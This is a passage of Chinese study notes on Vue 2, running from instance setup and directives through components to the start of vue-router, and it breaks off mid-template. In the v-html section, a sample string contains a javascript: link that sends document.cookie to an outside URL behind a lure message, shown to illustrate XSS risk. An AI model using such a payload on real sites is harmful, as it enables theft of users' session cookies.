一、初始Vue
1、前置工作
(1)给浏览器安装Vue Devtools 插件
(2)标签引入Vue包
(3)阻止vue在启动时生成生产提示Vue.config.productionTip = false
2、初始Vue
(1)想让Vue工作,就必须先创建一个Vue实例,且要传入一个配置对象比如下面的el,data;
(2)root容器里的代码依然符合HTML规范,只不过混入了一些vue语法
(3)root容器里的代码被称为【vue模板】
(4)一个容器对应一个实例,一一对应
(5)插值语法{{xxx}} 中的xxx要写js表达式,且xxx可以自动读取到data中的所以属性。
(6)一旦data中的数据发生改变,那么模板中用到该数据的地方会自动更新
<!-- 准备好一个容器 -->
<div id="root">
<h1>hello,{{name}}</h1>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阻止vue在启动时生成生产提示
new Vue({
el: '#root', //(或可以用:document.getElemnetById('root')直接指定)用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串
data: { //data中用于存储数据,数据供el所指定的容器使用,值暂时写成了一个对象,后边应该是个函数
name: '世界',
address: '苏州'
},
});
</script>
二、模板语法
1、插值语法
功能:用于解析标签体内容
写法:{{xxx}},xxx是js表达式,可以直接读取到data中的所以区域
2、指令语法
功能:用于解析标签(包括:标签属性、标签内容、绑定事件...)
举例:<a v-bind:href="xxx">可以简写为<a :href="xxx">,xxx是js表达式,可以直接读取到data中的所以区域
<!-- 准备好一个容器 -->
<div id="root">
<h1>插值语法</h1>
<h2>hello,{{name}}</h2>
<hr>
<h1>指令语法</h1>
<a v-bind:href="school.url">点击去百度{{school.name}}</a>
<a :href="school.url.toUpperCase()">点击去百度</a> <!-- //.toUpperCase(),字母换成大写 -->
</div>
<script>
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el: '#root',
data: {
name: 'xjx',
school: {
name: '湖科大',
url: 'https://www.baidu.com/',
}
}
})
</script>
三、数据绑定
vue中有两种数据绑定方式
1、单项绑定:v-bind ,数据只能从data流向页面。
2、双向绑定:v-model ,数据不仅从data流向页面,还可以从页面流向data
备注:
1、双向绑定一般应用在表单类元素上,如input,select
2、v-model:value可以简写成v-model
四、el与data 的两种写法
1、el的两种写法
(1)new Vue时配置el属性
(2)先创建Vue实例对象,随后在通过vm.$mount('#root')指定el的值
2、data的两种写法
(1)对象式:data:{}
(2)函数式:后期学到组件式,必须用函数式,否则会报错.data(){return{}}
注:
由vue管理的函数,一定不要写箭头函数,因为vue中的箭头函数,this是指向windows的,不是指向vue实例对象的。
<script>
Vue.config.productionTip = false
/* el的第一种用法 */
/* new Vue({
el: '#root',
data: {
name: '小席'
}
}) */
/* el的第二种用法 */
/* const x = new Vue({
data: {
name: '小席'
}
})
x.$mount('#root') */
//data的第一种写法:对象式
/* new Vue({
el: '#root',
data: {
name: '小席'
}
}) */
//data的第二种写法:函数式
new Vue({
el: '#root',
data() { //data: function () {}
console.log(this) //此处this表示Vue的实例对象
return {
name: '小席'
}
}
})
</script>
五、MVVM模式
M:model(模型) data中的数据
V:view(视图) 模板代码
vm:viewmodel(视图模型) vue实例
注:1 data中的所有属性,最后都出现在了vm身上
2 vm的所有属性及vue原型上的所有属性,在vue模板中都可以使用
六 、数据代理
1、Object.defineProperty
(要定义属性的对象,要定义或修改的属性的名称或 Symbol ,要定义或修改的属性描述符)方法
三个参数
<script>
Vue.config.productionTip = false
let number = 18
let person = {
name: '小席',
sex: '女'
}
Object.defineProperty(person, 'age', {
/* value: 18,
configurable: true, //控制属性是否可以被删除,默认值是false
enumerable: true, //控制属性是否可以被枚举
writable: true, //控制属性是否可以被修改 */
//读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值
get() {
return number
},
//修改person的age属性时,get函数(getter)就会被调用,且会收到修改的具体值
set(value) {
number = value
}
})
</script>
2、vue中的数据代理
(1)通过vm对象来代理data对象中属性的操作(读/写)
(2)vue数据代理的好处:更加方便的操作data中的数据
(3)基本原理
通过object.defieProperty(),把data对象中的所有属性添加到vm中
为每一个添加到vm上的属性,都指定getter和setter
在getter和setter内部去操作(读写)data中对应的属性
七、计算属性与监听属性
1、计算属性complute
1、定义:要用的属性存在,要通过已有属性计算
2、原理:底层借助object.defineProperty方法提供的getter和setter
3、与model相比,内部有缓存机制,效用更高,调试方便
4、注:
计算属性会直接出现在vm上,直接读取即可
如果计算属性要被修改,必须要写set函数去响应,引起计算时所依赖的数据发生改变
<div id="app">
姓:<input type="text" v-model="firstName"><br>
名:<input type="text" v-model="lastName"><br>
<!-- 不是{{fullName()}} -->
姓名:<span>{{fullName}}</span>
</div>
<script>
Vue.config.productionTip = false
const vm = new Vue({
el: '#app',
data: {
firstName: '小',
lastName: '希'
},
// 计算属性
computed: {
/* // 完整写法
fullName: {
//get的作用,当有人读取了fullName时,get就会被调用,且get的返回值是fullName的值
//get什么时候被调用?两种情况 1、初次读取fullName,之后都是在缓存里调用 2、所依赖的数据发生变化时
get() {
console.log('get被调用了')
// console.log(this) //这里的this是指vm
return this.firstName + '-' + this.lastName
},
//当fullName被修改时set被调用
set(value) {
console.log('set', value)
const arr = value.split('-')
this.firstName = arr[0]
this.lastName = arr[1]
}
} */
//简写:只有被读取,没有被修改时才能用简写。下面的函数就相当于getter
fullName() {
//get的作用,当有人读取了fullName时,get就会被调用,且get的返回值是fullName的值
//get什么时候被调用?两种情况 1、初次读取fullName,之后都是在缓存里调用 2、所依赖的数据发生变化时
console.log('get被调用了')
// console.log(this) //这里的this是指vm
return this.firstName + '-' + this.lastName
}
}
})
</script>
计算属性中的setter函数运行原理
2、监听事件watch
1、当被监视的属性发生变化时,回调函数自动调用,进行相关操作
2、监视的属性必须存在,才能进行监视
3、监视的两种写法:
(1)在vue实例对象中传入watch方法配置
(2)通过vm$watch('监听的事件',handle())监视
<div id="app">
<h2>今天天气很{{info}}</h2>
<!-- 绑定事件的时候:@xxx="yyy",yyy可以简单写一些表达式。比如下边的可以写为@click="isHot = !isHot" -->
<button @click="changeWeather">点击切换</button>
</div>
<script>
Vue.config.productionTip = false
const vm = new Vue({
el: '#app',
data: {
isHot: true
},
computed: {
info() {
return this.isHot ? '热' : '凉快'
}
},
methods: {
changeWeather() {
this.isHot = !this.isHot
}
},
//监听事件
watch: {
info: {
immediate: true, //初始化时让handle调用一下
//当info发生变化时handle被调用
handler(newValue, oldValue) {
console.log('info被修改了', newValue, oldValue)
}
}
}
})
//监听事件的另一种写法
vm.$watch('info', {
immediate: true, //初始化时让handle调用一下
//当info发生变化时handle被调用
handler(newValue, oldValue) {
console.log('info被修改了', newValue, oldValue)
}
})
深度监视deep
(1)vue中的watch默认不监视对象内部值的改变(一层)
(2)配置deep:true可以监视对象内部的改变
注:
(1)vue本身可以监视对象内部值的改动,但vue提供的watch默认不可以
(2)使用watch时根据数据的具体结构,决定是否采用深度监视
watch: {
info: {
immediate: true, //初始化时让handle调用一下
//当info发生变化时handle被调用
handler(newValue, oldValue) {
console.log('info被修改了', newValue, oldValue)
}
},
//监听a(监听多级结构中的某个属性的变化)
'number.a': {
handler() {
console.log('a发生变化了')
}
},
//监听多级结构中的所以属性的变化
number: {
deep: true,
handler() {
console.log('number发生变化了')
}
}
}
3、两者的区别
(1)complute能完成的功能,watch都能完成
(2)watch能完成的不一定complute能完成,例如,watch能进行异步操作,setTimeout()
注:
(1)被vue管理的函数,最好都写成普通函数,这样this的指向才能是vm,或组件实例对象
(2)所有不被vue管理的函数(定时器的回调函数、ajax的回调函数、promise的回调函数等),最后写成箭头函数,这样this的指向才能是vm,或组件实例对象
八、键盘事件
1.Vue中常用的按键别名:
回车 => enter
删除 => delete (捕获“删除”和“退格”键)
退出 => esc
空格 => space
换行 => tab (特殊,必须配合keydown去使用)
上 => up
下 => down
左 => left
右 => right
2.Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)
3.系统修饰键(用法特殊):ctrl、alt、shift、meta
(1).配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
(2).配合keydown使用:正常触发事件。
4.也可以使用keyCode去指定具体的按键(不推荐)
5.Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名
<div id="root">
<h2>欢迎来到{{name}}学习</h2>
<input type="text" placeholder="按下回车提示输入" @keydown.huiche="showInfo">
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
Vue.config.keyCodes.huiche = 13 //定义了一个别名按键
new Vue({
el:'#root',
data:{
name:'尚硅谷'
},
methods: {
showInfo(e){
// console.log(e.key,e.keyCode)
console.log(e.target.value)
}
},
})
</script>
九、绑定样式
1. class样式
写法:class="xxx" xxx可以是字符串、对象、数组。
字符串写法适用于:类名不确定,要动态获取。
对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。
数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。
2. style样式
:style="{fontSize: xxx}"其中xxx是动态值。
:style="[a,b]"其中a、b是样式对象。
<div id="app">
<!--1、 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
<div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br><br>
<!-- 2、绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
<div class="basic" :class="classArr">{{name}}</div> <br /><br />
<!-- 3、绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
<div class="basic" :class="classObj">{{name}}</div> <br /><br />
<!-- 4、绑定style样式--对象写法 -->
<div class="basic" :style="styleObj">{{name}}</div> <br /><br />
<!-- 5、绑定style样式--数组写法 -->
<div class="basic" :style="styleArr">{{name}}</div>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#app',
data: {
name: '小希',
mood: 'normal',
classArr: ['atguigu1', 'atguigu2', 'atguigu3'],
classObj: {
atguigu1: false,
atguigu2: false,
},
styleObj: {
fontSize: '40px',
color: 'red',
},
styleObj2: {
backgroundColor: 'orange'
},
styleArr: [{
fontSize: '40px',
color: 'blue',
},
{
backgroundColor: 'gray'
}
]
},
methods: {
changeMood() {
const arr = ['happy', 'sad', 'normal']
const index = Math.floor(Math.random() * 3)
this.mood = arr[index]
},
},
})
</script>
十、条件渲染
1.v-if
写法:
(1).v-if="表达式"
(2).v-else-if="表达式"
(3).v-else="表达式"
适用于:切换频率较低的场景。
特点:不展示的DOM元素直接被移除。
注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”。
2.v-show改变的是display
写法:v-show="表达式"
适用于:切换频率较高的场景。
特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
3.备注:使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到。
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
<!-- 使用v-show做条件渲染 -->
<!-- <h2 v-show="false">欢迎来到{{name}}</h2> -->
<!-- <h2 v-show="1 === 1">欢迎来到{{name}}</h2> -->
<!-- 使用v-if做条件渲染 -->
<!-- <h2 v-if="false">欢迎来到{{name}}</h2> -->
<!-- <h2 v-if="1 === 1">欢迎来到{{name}}</h2> -->
<!-- v-else和v-else-if -->
<!-- <div v-if="n === 1">Angular</div>
<div v-else-if="n === 2">React</div>
<div v-else-if="n === 3">Vue</div>
<div v-else>哈哈</div> -->
<!-- v-if与template的配合使用,不改变结构 -->
<template v-if="n === 1">
<h2>你好</h2>
<h2>尚硅谷</h2>
<h2>北京</h2>
</template>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
const vm = new Vue({
el: '#root',
data: {
name: '尚硅谷',
n: 0
}
})
</script>
十一、列表渲染
1、 v-for指令
(1)用于展示列表数据
(2)语法:v-for="(item, index) in xxx" :key="yyy"
(3)可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
<div id="root">
<!-- 遍历数组 -->
<h2>人员列表(遍历数组)(常用)</h2>
<ul>
<!-- index是唯一的编号,自带的 -->
<li v-for="(p,index) of persons" :key="index">
{{p.name}}-{{p.age}}
</li>
</ul>
<!-- 遍历对象 -->
<h2>汽车信息(遍历对象)</h2>
<ul>
<li v-for="(value,k) of car" :key="k">
{{k}}-{{value}}
</li>
</ul>
<!-- 遍历字符串 -->
<h2>测试遍历字符串(用得少)</h2>
<ul>
<li v-for="(char,index) of str" :key="index">
{{char}}-{{index}}
</li>
</ul>
<!-- 遍历指定次数 -->
<h2>测试遍历指定次数(用得少)</h2>
<ul>
<li v-for="(number,index) of 5" :key="index">
{{index}}-{{number}}
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
persons: [{
id: '001',
name: '张三',
age: 18
},
{
id: '002',
name: '李四',
age: 19
},
{
id: '003',
name: '王五',
age: 20
}
],
car: {
name: '奥迪A8',
price: '70万',
color: '黑色'
},
str: 'hello'
}
})
</script>
2、key的原理与作用
(1)index作为key
<liv-for="(p,index) of persons":key="index">
{{p.name}}-{{p.age}}
</li>
注:如果不定义key,vue会自动将遍历序号作为index
数据会错乱
(2)Id作为key值
数据不会错乱
总结:
面试题:react、vue中的key有什么作用?(key的内部原理)
1. 虚拟DOM中key的作用:
key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,
随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
(1).旧虚拟DOM中找到了与新虚拟DOM相同的key:
①.若虚拟DOM中内容没变, 直接使用之前的真实DOM!
②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。
(2).旧虚拟DOM中未找到与新虚拟DOM相同的key
创建新的真实DOM,随后渲染到到页面。
2. 用index作为key可能会引发的问题:
(1)若对数据进行:逆序添加、逆序删除等破坏顺序操作:
会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。
(2)如果结构中还包含输入类的DOM:
会产生错误DOM更新 ==> 界面有问题。
3. 开发中如何选择key?:
(1)最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
(2)如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用index作为key是没有问题的。
3、列表过滤
(1)计算属性
根据已有的数组persons筛选计算出用户输入的语句,返回给计算属性filPersons,显示出来。
<div id="root">
<input type="text" placeholder="请输入名字" v-model="keyWord">
<ul>
<li v-for="(p,index) in filPersons" :key="index">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
keyWord: '', //用户输入的数据
persons: [{
id: '001',
name: '马冬梅',
age: 19,
sex: '女'
},
{
id: '002',
name: '周冬雨',
age: 20,
sex: '女'
},
{
id: '003',
name: '周杰伦',
age: 21,
sex: '男'
},
{
id: '004',
name: '温兆伦',
age: 22,
sex: '男'
}
],
},
computed: {
filPersons() {
return this.persons.filter((p) => { //.filter过滤出 符合条件的
return p.name.indexOf(this.keyWord) !== -1//.indexOf是筛选语句。-1表示没有匹配到。其他值表示匹配到,并返回的是匹配到的语句的索引号。
})
}
}
})
</script>
注:filPersons是计算出来的
(2)监视属性
监听输入的内容keyWord,筛选出符合条件的给filPersons数组。
<div id="root">
<input type="text" placeholder="请输入名字" v-model="keyWord">
<ul>
<li v-for="(p,index) in filPersons" :key="index">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
keyWord: '', //用户输入的数据
persons: [{
id: '001',
name: '马冬梅',
age: 19,
sex: '女'
},
{
id: '002',
name: '周冬雨',
age: 20,
sex: '女'
},
{
id: '003',
name: '周杰伦',
age: 21,
sex: '男'
},
{
id: '004',
name: '温兆伦',
age: 22,
sex: '男'
}
],
filPersons: [],
},
// 监视属性过滤
watch: {
keyWord: {
immediate: true,//初次显示出persons[]信息
handler(val) {//只需要新值,不关心之前输入的语句,所以只要一个参数newvalue,不需oldvalue
this.filPersons = this.persons.filter((p) => { //.filter过滤出 符合条件的
return p.name.indexOf(val) !== -1
//indexOf判断一个字符串中是否包含指定字符。-1是不包含,空的结果为0,其他有的按照位置索引号输出
})
}
}
}
})
4、列表排序
在列表过滤的基础上,对筛选.indexOf出来的内容根据年龄进行排序.sort。
<div id="app">
<input type="text" placeholder="请输入内容" v-model="keyWords">
<button @click="sortType=1">年龄升序</button>
<button @click="sortType=2">年龄降序</button>
<button @click="sortType=0">年龄原顺序</button>
<ul>
<li v-for="(p,index) in filPersons" :key="p.id">
{{p.name}}-{{p.age}}-{{p.sex}}
<input type="text">
</li>
</ul>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#app',
data: {
keyWords: '',
sortType: 0, //0表示原顺序,1表示升序,2表示降序
persons: [{
id: '001',
name: '周杰伦',
age: '34',
sex: '男'
}, {
id: '002',
name: '周冬雨',
age: '21',
sex: '女'
}, {
id: '003',
name: '马冬梅',
age: '30',
sex: '女'
}, {
id: '004',
name: '任嘉伦',
age: '20',
sex: '男'
}]
},
/* 监听 */
computed: {
filPersons() {
/* 筛选出输入的内容与原数组匹配的内容 */
const arr = this.persons.filter((p) => {
return p.name.indexOf(this.keyWords) !== -1 //如果输入的内容有,返回
})
/* 判断一下是否需要排序,对上述筛选出的内容进行排序 */
if (this.sortType) { //1和2都是true
arr.sort((p1, p2) => { //.sort(p1,p2)表示对数组arr进行排序,p1-p2表示升序,p2-p1表示降序
return this.sortType === 1 ? p1.age - p2.age : p2.age - p1.age
})
}
return arr
}
}
})
</script>
5、Vue监视的原理
object.defineProperty
(1) vue会监视data中所有层次的数据。
(2)如何监测对象中的数据?
通过setter实现监视,且要在new Vue时就传入要监测的数据。
(1).对象中后追加的属性,Vue默认不做响应式处理
(2).如需给后添加的属性做响应式,请使用如下API:
Vue.set(target,propertyName/index,value) 或
vm.$set(target,propertyName/index,value)
(3)如何监测数组中的数据?
通过包裹数组更新元素的方法实现,本质就是做了两件事:
(1).调用原生对应的方法对数组进行更新。
(2).重新解析模板,进而更新页面。
(4)在Vue修改数组中的某个元素一定要用如下方法:
使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
Vue.set() 或 vm.$set()
特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!
<div id="root">
<h1>学生信息</h1>
<button @click="student.age++">年龄+1岁</button> <br />
<button @click="addSex">添加性别属性,默认值:男</button> <br />
<button @click="student.sex='女'">修改性别</button> <br />
<button @click="addFriends">在列表首位添加一个朋友</button> <br />
<button @click="updateFriendsFirstName">修改第一个朋友的名字为:张三</button> <br />
<button @click="addHobby">添加一个爱好</button> <br />
<button @click="updateHobby">修改第一个爱好为:开车</button> <br />
<button @click="smoke">过滤掉爱好中的抽烟</button> <br />
<h3>姓名:{{student.name}}</h3>
<h3>年龄:{{student.age}}</h3>
<h3 v-if="student.sex">性别:{{student.sex}}</h3>
<h3>爱好:</h3>
<ul>
<li v-for="(h,index) in student.hobby" :key="index">
{{h}}
</li>
</ul>
<h3>朋友们:</h3>
<ul>
<li v-for="(f,index) in student.friends" :key="index">
{{f.name}}--{{f.age}}
</li>
</ul>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el: '#root',
data: {
student: {
name: 'tom',
age: 18,
hobby: ['抽烟', '喝酒', '烫头'],
friends: [{
name: 'jerry',
age: 35
},
{
name: 'tony',
age: 36
}
]
}
},
methods: {
addSex() {
Vue.set(this.student, 'sex', '男')
//this.$set(this.student, 'sex', '男')//另一种写法
},
addFriends() {
this.student.friends.unshift({
name: '小希',
age: 18
})
},
updateFriendsFirstName() {
this.student.friends[0].name = '张三'
},
addHobby() {
this.student.hobby.push('唱歌')
},
updateHobby() {
//Vue.set(this.student.hobby, 0, '开车')
vm.$set(this.student.hobby, 0, '开车')
//this.student.hobby.splice(0, 1, '开车')
},
smoke() {
this.student.hobby = this.student.hobby.filter((p) => {
return p !== '抽烟'
})
}
},
})
</script>
十二、收集表单数据
主要是通过v-model将表单数据收集,然后转为json文件
(1)<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。
(2)<input type="radio"/>,单选 则v-model收集的是value值,且要给标签配置value值。
(3)<input type="checkbox"/>多选
若没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
若 配置input的value属性:
①v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
②v-model的初始值是数组,那么收集的的就是value组成的数组
注:v-model的三个修饰符:
lazy:失去焦点再收集数据
number:输入字符串转为有效的数字
trim:输入首尾空格过滤
十三、过滤器
定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
语法:
(1)注册过滤器:Vue.filter(name,callback) 全局 或 new Vue{filters:{}}局部
(2)使用过滤器:{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"
备注:
(1)过滤器也可以接收额外参数、多个过滤器也可以串联
(2)并没有改变原本的数据, 是产生新的对应的数据
<div id="app">
<!-- 计算属性computed实现 -->
<h3>现在的时间是:{{fmtTime}}</h3>
<!--methods属性实现 -->
<h3>现在的时间是:{{getFmtTime()}}</h3>
<!-- 过滤器实现 -->
<h3>现在的时间是:{{time | timeFormater}}</h3>
<!-- 过滤器传参 -->
<h3>现在的时间是:{{time | timeFormater('YYYY_MM_DD')}}</h3>
<!-- 过滤器实现多个参数 -->
<h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
<h3 :x="msg | mySlice">你好呀</h3>
</div>
<script>
Vue.config.productionTip = false
/* 全局过滤器 */
Vue.filter('mySlice', function (value) {
return value.slice(0, 4) //截取前4位
})
new Vue({
el: '#app',
data: {
time: 1649388425377,
msg: '好的好的非常好'
},
computed: {
fmtTime() {
return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss') //引用了bootCDN开源库中的dayjs
}
},
methods: {
getFmtTime() {
return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
}
},
/* 局部过滤器 */
filters: {
timeFormater(value, str =
'YYYY年MM月DD日 HH:mm:ss') { //如果str有值,就用传过来的。没有就用YYYY年MM月DD日 HH:mm:ss
return dayjs(value).format(str)
}
}
})
</script>
注:引用了BootCDN中的dayjs格式化时间。
十四、内置指令
1、其他指令
v-bind : 单向绑定解析表达式, 可简写为 :xxx
v-model : 双向数据绑定
v-for : 遍历数组/对象/字符串
v-on : 绑定事件监听, 可简写为@
v-if : 条件渲染(动态控制节点是否存存在)
v-else : 条件渲染(动态控制节点是否存存在)
v-show : 条件渲染 (动态控制节点是否展示)
1、V-text
作用:向其所在的节点中渲染文本内容。
与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
2、v-html
作用:向指定节点中渲染包含html结构的内容。
与插值语法的区别:
(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
(2).v-html可以识别html结构。
严重注意:v-html有安全性问题!!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
<!-- 准备好一个容器-->
<div id="root">
<div>你好,{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el: '#root',
data: {
name: '小希',
str: '<h3>你好啊!</h3>',
str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
}
})
</script>
3、v-cloak(没有值)
本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
4、v-once(没有值)
v-once所在节点在初次动态渲染后,就视为静态内容了。
以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<div id="app">
<h2 v-once>初始化的n:{{n}}</h2>
<h2>当前的n为:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#app',
data: {
n: 1
}
})
</script>
5、v-pro
跳过其所在节点的编译过程。
可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
十五、自定义指令
1、对象自定义指令
(1)定义语法:
①.局部指令:
new Vue({
directives:{指令名:配置对象}
})
②.全局指令:
Vue.directive(指令名,配置对象)
(2)配置对象中常用的3个回调:
(1).bind:指令与元素成功绑定时调用。
(2).inserted:指令所在元素被插入页面时调用。
(3).update:指令所在模板结构被重新解析时调用。
2、函数自定义指令
new Vue({
directives{指令名:回调函数}
})
Vue.directive(指令名,回调函数)
备注:
指令定义时不加v-,但使用时要加v-;
指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
十六、生命周期
1、概念
Vue在关键时刻帮我们调用的一些特殊名称的函数
注:(1)又名:生命周期回调函数、生命周期函数、生命周期钩子。
(2)生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
(3)生命周期函数中的this指向是vm 或 组件实例对象。
2、常用生命周期的函数
(1)mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
(2)beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。
3、关于销毁Vue实例
(1)销毁后借助Vue开发者工具看不到任何信息。
(2)销毁后自定义事件会失效,但原生DOM事件依然有效。
(3)一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。
<body>
<div id="root">
<h2 :style="{opacity}">欢迎学习Vue</h2>
<button @click="opacity = 1">透明度设置为1</button>
<button @click="stop">点我停止变换</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el: '#root',
data: {
opacity: 1
},
methods: {
stop() {
this.$destroy()
}
},
//Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
mounted() {
console.log('mounted', this)
this.timer = setInterval(() => {
console.log('setInterval')
this.opacity -= 0.01
if (this.opacity <= 0) this.opacity = 1
}, 16)
},
beforeDestroy() {
clearInterval(this.timer)
console.log('vm即将驾鹤西游了')
},
})
</script>
十七、非单文件组件
1、Vue组件的三大步骤
(1)定义组件(创建组件)
使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别;
区别如下:
①el不要写,为什么? ——— 最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。
②data必须写成函数,为什么? ———— 避免组件被复用时,数据存在引用关系。
备注:使用template可以配置组件结构。
(2)注册组件
①局部注册:靠new Vue的时候传入components选项
②全局注册:靠Vue.component('组件名',组件)
(3)使用组件(写组件标签)
<school></school>
<!-- 准备好一个容器-->
<div id="root">
<hello></hello>
<hr>
<h1>{{msg}}</h1>
<hr>
<!-- 第三步:编写组件标签 -->
<school></school>
<hr>
<!-- 第三步:编写组件标签 -->
<student></student>
</div>
<div id="root2">
<hello></hello>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
//第一步:创建school组件
const school = Vue.extend({
template:`
<div class="demo">
<h2>学校名称:{{schoolName}}</h2>
<h2>学校地址:{{address}}</h2>
<button @click="showName">点我提示学校名</button>
</div>
`,
// el:'#root', //组件定义时,一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器。
data(){
return {
schoolName:'胡可达',
address:'湖南湘潭'
}
},
methods: {
showName(){
alert(this.schoolName)
}
},
})
//第一步:创建student组件
const student = Vue.extend({
template:`
<div>
<h2>学生姓名:{{studentName}}</h2>
<h2>学生年龄:{{age}}</h2>
</div>
`,
data(){
return {
studentName:'张三',
age:18
}
}
})
//第一步:创建hello组件
const hello = Vue.extend({
template:`
<div>
<h2>你好啊!{{name}}</h2>
</div>
`,
data(){
return {
name:'Tom'
}
}
})
//第二步:全局注册组件
Vue.component('hello',hello)
//创建vm
new Vue({
el:'#root',
data:{
msg:'你好啊!'
},
//第二步:注册组件(局部注册)
components:{
school,
student
}
})
new Vue({
el:'#root2',
})
</script>
十八、单文件组件
十九、ref属性
二十、props配置
二十一、mixin混入
二十二、scoped样式
二十三、TodoList案例
二十四、本地存储
二十五、组件自定义事件
二十六、全局事件总线
任意组件间通信
二十七、TodoList_pubsub
二十八、TodoList_nextTick
过度与动画
二十九、vuex
理念:共享
二十九、路由
1、理解
(1) 一个路由(route)就是一组映射关系(key - value),多个路由需要路由器(router)进行管理。
(2)点击页面中的导航链接,不会刷新页面。只做页面的局部更新。单页面
(2)数据通过ajax请求从服务器获得.
(3)前端路由:key是路径,value是组件。
Vue.js 路由允许我们通过不同的 URL 访问不同的内容,通过Vue.js可以实现多视图的单页Web应用(single page web application,SPA)。
<router-link> 是一个组件,该组件用于设置一个导航链接,切换不同 HTML 内容。 to 属性为目标地址, 即要显示的内容。
如果使用模块化机制编程,导入 Vue 和 VueRouter,要调用 Vue.use(VueRouter)。
2、基本使用
案例:实现About和Home路由组件的切换
(1)安装vue-router,命令:npm i vue-router@3 (router3版本)
(2)在main.js,导入并应用插件vue-router
import Vue from 'vue'
import App from './App.vue'
//引入VueRouter
import VueRouter from 'vue-router'
import router from './router'
Vue.config.productionTip = false
//应用插件
Vue.use(VueRouter)
new Vue({
el: '#app',
render: h => h(App),
router: router
})
(3)编写router配置项
//引入VueRouter
import VueRouter from 'vue-router'
//引入Luyou 组件
import About from '../components/About'
import Home from '../components/Home'
//创建router实例对象,去管理一组一组的路由规则
const router = new VueRouter({
routes:[
{
path:'/about',
component:About
},
{
path:'/home',
component:Home
}
]
})
//暴露router
export default router
(4)在App.vue实现切换两个路由组件About和Home的切换
(active-class可配置点击的时候高亮样式)
<router-link active-class="active" to="/about">About</router-link>
(5)指定展示位置
<router-view></router-view>
App.vue全:
<template>
<div>
<div class="row">
<div class="col-xs-offset-2 col-xs-8">
<div class="page-header"><h2>Vue Router Demo</h2></div>
</div>
</div>
<div class="row">
